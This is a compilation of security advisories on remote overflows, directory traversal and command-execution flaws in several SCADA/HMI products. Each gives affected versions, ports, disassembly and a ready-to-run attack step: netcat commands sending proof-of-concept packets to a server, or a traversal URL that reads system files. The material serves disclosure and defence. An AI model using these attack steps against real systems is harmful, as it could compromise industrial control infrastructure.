Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0x4b5* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
```
    string
    string
    32
    32
    32      malloc(x * 4)
```

Vulnerable code:
```
  0044C538  |.  E8 33ACFCFF   CALL 00417170                    ; get 32bit
  0044C53D  |.  8B45 00       MOV EAX,DWORD PTR SS:[EBP]
  0044C540  |.  85C0          TEST EAX,EAX
  0044C542  |.  76 6C         JBE SHORT 0044C5B0
  0044C544  |.  8D1485 000000>LEA EDX,DWORD PTR DS:[EAX*4]      ; * 4
  0044C54B  |.  52            PUSH EDX
  0044C54C  |.  FF15 C0FF8400 CALL DWORD PTR DS:[<&ole32.CoTaskMemAlloc>]
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 5 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0x7d0* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
```
    string
    string
    string
    32
    32      malloc(x * 4)
```

Vulnerable code:
```
  0044A44C  |.  E8 1FCDFCFF   CALL 00417170                 ; get 32bit
  0044A451  |.  8B03          MOV EAX,DWORD PTR DS:[EBX]
  0044A453  |.  85C0          TEST EAX,EAX
  0044A455  |.^ 74 C2         JE SHORT 0044A419
  0044A457  |.  8D0C85 000000>LEA ECX,DWORD PTR DS:[EAX*4]  ; * 4
  0044A45E  |.  51            PUSH ECX
  0044A45F  |.  E8 54CD0500   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 6 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcodes *0xdae* and *0xdb0* that make use of the function 0044C6B0 caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Vulnerable code:

```
  0044C7C8  |.  E8 A3A9FCFF   CALL 00417170                 ; get 32bit
  0044C7CD  |.  8B07          MOV EAX,DWORD PTR DS:[EDI]
  0044C7CF  |.  85C0          TEST EAX,EAX
  0044C7D1  |.^ 74 C5         JE SHORT 0044C798
  0044C7D3  |.  C1E0 02       SHL EAX,2                     ; * 4
  0044C7D6  |.  50            PUSH EAX
  0044C7D7  |.  E8 DCA90500   CALL <JMP.&MFC71U.#265>       ; malloc
  0044C7DC  |.  8B0F          MOV ECX,DWORD PTR DS:[EDI]
  0044C7DE  |.  C1E1 02       SHL ECX,2                     ; * 4
  0044C7E1  |.  51            PUSH ECX
  0044C7E2  |.  8947 04       MOV DWORD PTR DS:[EDI+4],EAX
  0044C7E5  |.  E8 CEA90500   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 7 SERVER
```

Application: *Iconics GENESIS32 and GENESIS64*
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS32.aspx
http://www.iconics.com/Home/Products/HMI-and-SCADA/GENESIS64.aspx
Versions: *GENESIS32 <= 9.21*
GENESIS64 <= 10.51
GenBroker.exe and GenBroker64.exe are the same version on both the softwares: 9.21.201.01
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 08 Jan 2011)*

Iconics Genesis is a SCADA HMI solution used worldwide with customers that go from Beijing Traffic Control Center to the Pentagon and even Poste Italiane (**"Case Studies"** source).

Informations from the vendor's website:
"GENESIS32\231 is the industry\222s first and only fully scalable suite of OPC, SNMP, BACnet and Web-enabled HMI and SCADA applications."

 # Vulnerabilities #

GenBroker is a Windows service running on port 38080.

The addresses and code snippets reported here are referred to GENESIS32 9.2.

The service is affected by an integer overflow vulnerability during the handling of the opcode *0xfa4* caused by the allocation of the memory needed for the creation of an array trusting the number of elements passed by the client.

The resulting memory corruptions *(like direct registry calls, memory locations calls, writing of data in arbitrary locations and so on)* allow code execution.

Fields in the packet:
```
    32      malloc(x * 8)
```

Vulnerable code:
```
  0044495D  |.  E8 0E28FDFF   CALL 00417170                 ; get 32bit
  00444962  |.  8B07          MOV EAX,DWORD PTR DS:[EDI]
  00444964  |.  3BC5          CMP EAX,EBP
  00444966  |.^ 76 C7         JBE SHORT 0044492F
  00444968  |.  8D14C5 000000>LEA EDX,DWORD PTR DS:[EAX*8]  ; * 8
  0044496F  |.  52            PUSH EDX
  00444970  |.  E8 43280600   CALL <JMP.&MFC71U.#265>       ; malloc
```

 # Exploit #

http://aluigi.org/poc/genesis_iof.zip

```
  genesis_iof 8 SERVER
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *directory traversal*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The opcode *0xd* is used for the file operations that cover creation, reading, writing, deleting, renaming and so on.

The server is affected by a directory traversal that gives the attacker the possibility of downloading *(command 0x3)* or uploading and overwriting *(0x2)* any file on the disk where the software is installed.

 # Exploit #

http://aluigi.org/poc/igss_1.zip

```
example for downloading c:\boot.ini:
  nc SERVER 12401 < igss_1a.dat

example for writing/overwriting the file c:\evil.bat
  nc SERVER 12401 < igss_1b.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *multiple stack overflows*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The opcode *0xd* is used for the file operations that cover creation, reading, writing, deleting, renaming and so on.

All the commands supported by this opcode except **"FileReserve"** *(0x7)* are affected by different buffer overflow vulnerabilities caused by the copying of the filename provided by the client in stack buffers of 256 bytes.

The following is the list of the copying functions for each command *(I don't remember the exact version from which I got them)*:

"ListAll" *(0x1)*	00406e91
"Write File" *(0x2)*	004071dd
"ReadFile" *(0x3)*	004072fd
"Delete" *(0x4)*	00406fad
"RenameFile" *(0x5)*	00407094 and 004070cf
"FileInfo" *(0x6)*	0040746f

 # Exploit #

http://aluigi.org/poc/igss_2.zip

```
nc SERVER 12401 < igss_2a.dat
nc SERVER 12401 < igss_2b.dat
nc SERVER 12401 < igss_2c.dat
nc SERVER 12401 < igss_2d.dat
nc SERVER 12401 < igss_2e.dat
nc SERVER 12401 < igss_2f.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
**"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."**

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The opcode *0x7* is used for handling the RMS report templates and through the **"Add"** command *(0x4)* is possible to exploit some buffer overflows caused by the copying of the client strings in small stack buffers:

```
00409B4F   .  8D46 04       LEA EAX,DWORD PTR DS:[ESI+4]  ; string, packet offset 0x16
00409B52   .  8D5424 1A     LEA EDX,DWORD PTR SS:[ESP+1A]
00409B56   .  83C4 0C       ADD ESP,0C
00409B59   .  2BD0          SUB EDX,EAX
00409B5B   .  EB 03         JMP SHORT 00409B60
00409B5D      8D49 00       LEA ECX,DWORD PTR DS:[ECX]
00409B60   >  8A08          MOV CL,BYTE PTR DS:[EAX]
00409B62   .  880C02        MOV BYTE PTR DS:[EDX+EAX],CL
00409B65   .  40            INC EAX
00409B66   .  84C9          TEST CL,CL
00409B68   .^ 75 F6         JNZ SHORT 00409B60
00409B6A   .  8A46 71       MOV AL,BYTE PTR DS:[ESI+71]
00409B6D   .  884424 0D     MOV BYTE PTR SS:[ESP+D],AL
00409B71   .  8D46 2C       LEA EAX,DWORD PTR DS:[ESI+2C] ; from offset 0x3e
00409B74   .  8D5424 36     LEA EDX,DWORD PTR SS:[ESP+36]
00409B78   .  2BD0          SUB EDX,EAX
00409B7A   .  8D9B 00000000 LEA EBX,DWORD PTR DS:[EBX]
00409B80   >  8A08          MOV CL,BYTE PTR DS:[EAX]
00409B82   .  880C02        MOV BYTE PTR DS:[EDX+EAX],CL
00409B85   .  40            INC EAX
00409B86   .  84C9          TEST CL,CL
00409B88   .^ 75 F6         JNZ SHORT 00409B80
00409B8A   .  8D46 6C       LEA EAX,DWORD PTR DS:[ESI+6C] ; from offset 0x7e
00409B8D   .  8D5424 76     LEA EDX,DWORD PTR SS:[ESP+76]
00409B91   .  2BD0          SUB EDX,EAX
00409B93   >  8A08          MOV CL,BYTE PTR DS:[EAX]
00409B95   .  880C02        MOV BYTE PTR DS:[EDX+EAX],CL
00409B98   .  40            INC EAX
00409B99   .  84C9          TEST CL,CL
00409B9B   .^ 75 F6         JNZ SHORT 00409B93
```

 # Exploit #

http://aluigi.org/poc/igss_3.zip

```
nc SERVER 12401 < igss_3.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The opcode *0x7* is used for handling the RMS report templates and through the **"ReadFile"** *(0x6)* and **"Write File"** *(0x5)* commands is possible to exploit a buffer overflow caused by the building of a full path string using a stack buffer of 256 bytes located on the caller function:

```
0040F840  /$  8B4424 04          MOV EAX,DWORD PTR SS:[ESP+4]
0040F844  |.  50                 PUSH EAX
0040F845  |.  83C1 04            ADD ECX,4
0040F848  |.  51                 PUSH ECX
0040F849  |.  8B4C24 10          MOV ECX,DWORD PTR SS:[ESP+10]
0040F84D  |.  68 54A54300        PUSH 0043A554                ; "%s\%s.RMS"
0040F852  |.  51                 PUSH ECX
0040F853  |.  E8 120F0100        CALL 0042076A                ; sprintf
0040F858  |.  83C4 10            ADD ESP,10
0040F85B  \.  C2 0800            RETN 8
```

 # Exploit #

http://aluigi.org/poc/igss_4.zip

Proof-of-concept via **"ReadFile"**:
```
nc SERVER 12401 < igss_4a.dat
```

Proof-of-concept via **"Write File"**:
```
nc SERVER 12401 < igss_4b.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *stack overflows*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The opcode *0x7* is used for handling the RMS report templates and after the parsing of the **"Rename"** *(0x2)*, **"Delete"** *(0x3)* and **"Add"** *(0x4)* commands it's called the function 0040F910 that builds the string to place in RMS.DIC and that is vulnerable to a buffer overflow on a stack buffer of about 512 bytes:

```
0040F9FE  |.  8D0432            |LEA EAX,DWORD PTR DS:[EDX+ESI]
0040FA01  |.  8D48 6A           |LEA ECX,DWORD PTR DS:[EAX+6A]
0040FA04  |.  51                |PUSH ECX
0040FA05  |.  8D50 2A           |LEA EDX,DWORD PTR DS:[EAX+2A]
0040FA08  |.  52                |PUSH EDX
0040FA09  |.  0FB650 01         |MOVZX EDX,BYTE PTR DS:[EAX+1]
0040FA0D  |.  8D48 02           |LEA ECX,DWORD PTR DS:[EAX+2]
0040FA10  |.  51                |PUSH ECX
0040FA11  |.  52                |PUSH EDX
0040FA12  |.  8D8424 24020000   |LEA EAX,DWORD PTR SS:[ESP+224]
0040FA19  |.  68 E0A54300       |PUSH 0043A5E0                  ; "%d,%s,%s,%s"
0040FA1E  |.  50                |PUSH EAX
0040FA1F  |.  E8 460D0100       |CALL 0042076A                  ; sprintf
```

 # Exploit #

The following proof-of-concept exploits the vulnerability from the **"Rename"** command, mainly because it's the only command not affected by other vulnerabilities before the reaching of this bugged function:

http://aluigi.org/poc/igss_5.zip

```
nc SERVER 12401 < igss_5a.dat    (will add the "old_name" template)
nc SERVER 12401 < igss_5b.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *format string*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The logging function Shmemmgr.logText that places messages in GSST.LOG has a printf-like prototype but the function 0040cec0 that handles all the internal logs doesn't provide the necessary format argument when calls it:

```
0040CF5B  |>  8D4424 04     LEA EAX,DWORD PTR SS:[ESP+4]
0040CF5F  |.  50            PUSH EAX
0040CF60  |.  57            PUSH EDI
0040CF61  |.  6A 0D         PUSH 0D
0040CF63  |.  6A 01         PUSH 1
0040CF65  |.  FF15 6C834300 CALL DWORD PTR DS:[<&Shmemmgr9.logText>]
...
005A55E6   .  8B4D EC       MOV ECX,DWORD PTR SS:[EBP-14]
005A55E9   .  51            PUSH ECX
005A55EA   .  8B55 14       MOV EDX,DWORD PTR SS:[EBP+14]
005A55ED   .  52            PUSH EDX
005A55EE   .  68 00280000   PUSH 2800
005A55F3   .  8D85 E8D7FFFF LEA EAX,DWORD PTR SS:[EBP-2818]
005A55F9   .  50            PUSH EAX
005A55FA   .  FF15 20026200 CALL DWORD PTR DS:[<&MSVCR90.vsprintf_s>]
```

Note that is not clear if this vulnerability is exploitable for code execution.

 # Exploit #

http://aluigi.org/poc/igss_6.zip

```
nc SERVER 12401 < igss_6.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *IGSSdataServer.exe <= 9.00.00.11063*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

IGSSdataServer.exe is a server running on port 12401 active when the project is started.

The opcode *0x8* is used for handling the STDREP requests and through the command *0x4* is possible to exploit a buffer overflow caused by the building of a SQL query using a stack buffer of 256 bytes:

```
0040A4B5   .  8B46 04       MOV EAX,DWORD PTR DS:[ESI+4]
0040A4B8   .  8B48 16       MOV ECX,DWORD PTR DS:[EAX+16]
0040A4BB   .  51            PUSH ECX
0040A4BC   .  83C0 1A       ADD EAX,1A
0040A4BF   .  50            PUSH EAX
0040A4C0   .  68 7C984300   PUSH 0043987C     ; "UPDATE ReportFormats SET RMSref={%s}
                                                 WHERE (FormatID=%d)"
0040A4C5   .  8BD7          MOV EDX,EDI
0040A4C7   .  52            PUSH EDX
0040A4C8   .  E8 9D620100   CALL 0042076A     ; sprintf
```

Note that is not clear if this vulnerability is exploitable for code execution.

 # Exploit #

http://aluigi.org/poc/igss_7.zip

```
nc SERVER 12401 < igss_7.dat
```

Application: *IGSS (Interactive Graphical SCADA System)*
http://www.igss.com
http://www.7t.dk
Versions: *dc.exe <= 9.00.00.11059*
Platforms: *Windows*
Bug: *arbitrary command execution*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 10 Jan 2011)*

IGSS *(Interactive Graphical SCADA system)* is a SCADA solution developed by the 7-Technologies and used mainly in Denmark and US.

Informations from the vendor's website:
"IGSS is the complete automation software \226 a SCADA system for process control and supervision - with a long row of releases since the start of 7T 25 years ago.
At that time, 7T was the first company in the world to develop an object oriented and mouse operated SCADA system under the name of IGSS."

 # Vulnerabilities #

dc.exe is a server running on port 12397 active when the project is started.

The opcodes *0xa* and *0x17* are used for launching the executables located in the folder of the software but through directory traversal is possible to execute any arbitrary executable on the disk where is located the software and specifying any argument for its execution.

 # Exploit #

http://aluigi.org/poc/igss_8.zip

Two examples for executing calc.exe (**"calc.exe arg1 arg2 arg3"**):
```
  nc SERVER 12397 < igss_8a.dat
  nc SERVER 12397 < igss_8b.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to a buffer overflow happening in the function 004be510 that splits the input strings using some delimiters passed by the callee functions and copies them in a stack buffer of 1024 bytes.

One of the ways to exploit the vulnerability in that function is through an On_FC_CONNECT_FCS_LOGIN packet containing a long username.

 # Exploit #

http://aluigi.org/poc/realwin_2.zip

```
nc SERVER 910 < realwin_2.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to some buffer overflows happening during the handling of the On_FC_CTAGLIST_FCS_CADDTAG, On_FC_CTAGLIST_FCS_CDELTAG and On_FC_CTAGLIST_FCS_ADDTAGMS packets where the input strings are copied in a stack buffer of 1024 bytes.

The bugs are located in different functions but I have grouped them in this same advisory because the format and the performed operations are similar.

List of the vulnerable functions:
- realwin_3a: 0042f770
- realwin_3b: 0042f670
- realwin_3c: 0042f9c0

 # Exploit #

http://aluigi.org/poc/realwin_3.zip

```
nc SERVER 910 < realwin_3?.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to a buffer overflow happening during the handling of the On_FC_RFUSER_FCS_LOGIN packet by the function 00437500 where the input username is copied in a stack buffer of 44 bytes.

 # Exploit #

http://aluigi.org/poc/realwin_4.zip

```
nc SERVER 910 < realwin_4.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to some
buffer overflows happening during the handling of various
On_FC_BINFILE_FCS_*FILE packets in which is available a string
containing a filename used for performing some operations.
This filename is appended in a stack buffer of 256 bytes for building
the full path of a file through function 004275b0 causing the overflow.

The bugs are located in different functions but I have grouped them in
this same advisory because the format and the performed operations are
similar.

List of the vulnerable functions:
- realwin_5a: 0042f770
- realwin_5b: 0042f670
- realwin_5c: 0042f9c0 -> 0042f770
- realwin_5d: 00427790
- realwin_5e: 004280b0
- realwin_5f: 00427880

 # Exploit #

http://aluigi.org/poc/realwin_5.zip

```
  nc SERVER 910 < realwin_5?.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *integer overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to some buffer overflows happening during the handling of the On_FC_MISC_FCS_MSGBROADCAST and On_FC_MISC_FCS_MSGSEND packets where is allocated an amount of memory equal to the 32bit size value provided by the client plus *0x16* resulting in a heap overflow during the subsequent copy of the input data.

The bugs are located in different functions but I have grouped them in this same advisory because the format and the performed operations are enough similar *(the main difference is the presence of the 16bit value at offset 0x12* of On_FC_MISC_FCS_MSGSEND).

List of the vulnerable functions:
- realwin_6a: 004326f0
- realwin_6b: 00432ae0

 # Exploit #

http://aluigi.org/poc/realwin_6.zip

```
nc SERVER 910 < realwin_6?.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to a buffer overflow happening during the handling of the On_FC_CGETTAG_FCS_GETTELEMETRY, On_FC_CGETTAG_FCS_GETCHANNELTELEMETRY, On_FC_CGETTAG_FCS_SETTELEMETRY and On_FC_CGETTAG_FCS_SETCHANNELTELEMETRY packets where the input string is used for building a file path on a stack buffer of about 200 bytes:

```
  sprintf(
    stack_buffer,
    "C:\\Program Files\\DATAC\\Real.Win\\DemoRW-1.06\\\\realflex\\data\\crt\\fwd\\tel\\%s
.tel",
    input_string);
```

Note that the bugs are located in different functions but I have grouped them here because the format and the performed operations are similar.

List of the vulnerable functions:
- realwin_7a: 00467050
- realwin_7b: 00467520
- realwin_7c: 00467860
- realwin_7d: 00467ce0

 # Exploit #

http://aluigi.org/poc/realwin_7.zip

```
  nc SERVER 910 < realwin_7?.dat
```

Application: *DATAC RealWin*
http://www.dataconline.com/software/realwin.php
http://www.realflex.com
Versions: *<= 2.1 (Build 6.1.10.10)*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote, versus server*
Date: *21 Mar 2011 (found 25 Nov 2010)*

"RealWin is a SCADA server package for medium / small applications."

 # Vulnerabilities #

The part of the server listening on port 910 is vulnerable to a buffer overflow happening during the handling of the On_FC_SCRIPT_FCS_STARTPROG packets by the function 00439620 where the input string is copied in a stack buffer of about 4 kilobytes.

 # Exploit #

http://aluigi.org/poc/realwin_8.zip

```
  nc SERVER 910 < realwin_8.dat
```

Application: *Sielco Sistemi Winlog*
http://www.sielcosistemi.com/en/products/winlog_scada_hmi/
Versions: *<= 2.07.00*
Platforms: *Windows*
Bug: *stack overflow*
Exploitation: *remote*
Date: *13 Jan 2011*

From vendor's website:
"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software package for the supervision of industrial and civil plants."

 # Vulnerabilities #

This SCADA software can act as a TCP/IP server by enabling the specific **"Run TCP/IP server"** option available in the **"Configuration->Options->TCP/IP"** section of the project we want to run and Runtime.exe will listen on the TCP port 46823.

The opcode *0x02* of the protocol is used for the handling of some strings received by the client and the calling of one of the _TCPIP_WriteNumValueFP, _TCPIP_WriteDigValueFP or _TCPIP_WriteStrValueFP functions depending by the type of data.

They use all the same function starting from offset 00446795 for the parsing of the data and it's vulnerable to a stack overflow while copying the input data in a temporary buffer of about 60 bytes:

```
00446795  /$  55            PUSH EBP
00446796  |.  8BEC          MOV EBP,ESP
00446798  |.  83C4 C0       ADD ESP,-40
0044679B  |.  53            PUSH EBX
0044679C  |.  56            PUSH ESI
0044679D  |.  57            PUSH EDI
0044679E  |.  8B45 0C       MOV EAX,DWORD PTR SS:[EBP+C]
004467A1  |.  8B5D 08       MOV EBX,DWORD PTR SS:[EBP+8]
004467A4  |.  8BF8          MOV EDI,EAX
004467A6  |.  33C0          XOR EAX,EAX
004467A8  |.  56            PUSH ESI
004467A9  |.  83C9 FF       OR ECX,FFFFFFFF
004467AC  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]                    ; strlen
004467AE  |.  F7D1          NOT ECX
004467B0  |.  2BF9          SUB EDI,ECX
004467B2  |.  8D75 C0       LEA ESI,DWORD PTR SS:[EBP-40]
004467B5  |.  87F7          XCHG EDI,ESI
004467B7  |.  8BD1          MOV EDX,ECX
004467B9  |.  8BC7          MOV EAX,EDI
004467BB  |.  C1E9 02       SHR ECX,2
004467BE  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; memcpy
```

 # Exploit #

http://aluigi.org/testz/udpsz.zip

```
udpsz -T -b a -C 020101 SERVER 46823 1000
```

Application: *Ecava IntegraXor*
http://www.integraxor.com
Versions: *<= 3.6.4000.0*
Platforms: *Windows*
Bug: *directory traversal*
Exploitation: *remote, versus server*
Date: *21 Dec 2010*

IntegraXor is a web SCADA server used primarily in Malaysia.

 # Vulnerabilities #

The "open" request can be used by an attacker to download files from the disk where the server is installed through directory traversal attacks.

 # Exploit #

http://SERVER:7131/PROJECT_NAME/open?file_name=..\..\..\..\..\..\..\..\..\..\..\..\boot.ini

where PROJECT_NAME is the name of one of the projects hosted by the server.

Application: *Wonderware InBatch*
http://global.wonderware.com/EN/Pages/WonderwareInBatchSoftware.aspx
any other software that uses the lm_tcp server (called
"Raima Database lockmgr") like Foxboro I/A Batch
Versions: *lm_tcp <= 9.0.0 0248.18.0.0 (InBatch <= 9.0sp1)*
Platforms: *Windows, Linux*
Bug: *buffer-overflow*
Exploitation: *remote, versus server*
Date: *07 Dec 2010*

InBatch is a software for the industry automation sector for creating batch processes.

 # Vulnerabilities #

The lm_tcp service listens *(manually or automatically during the launching of* **"Environment Display/Manager"**) on port 9001 and is vulnerable to a buffer overflow during the copying of a string in a buffer of 150 bytes which is part of a fixed structure.

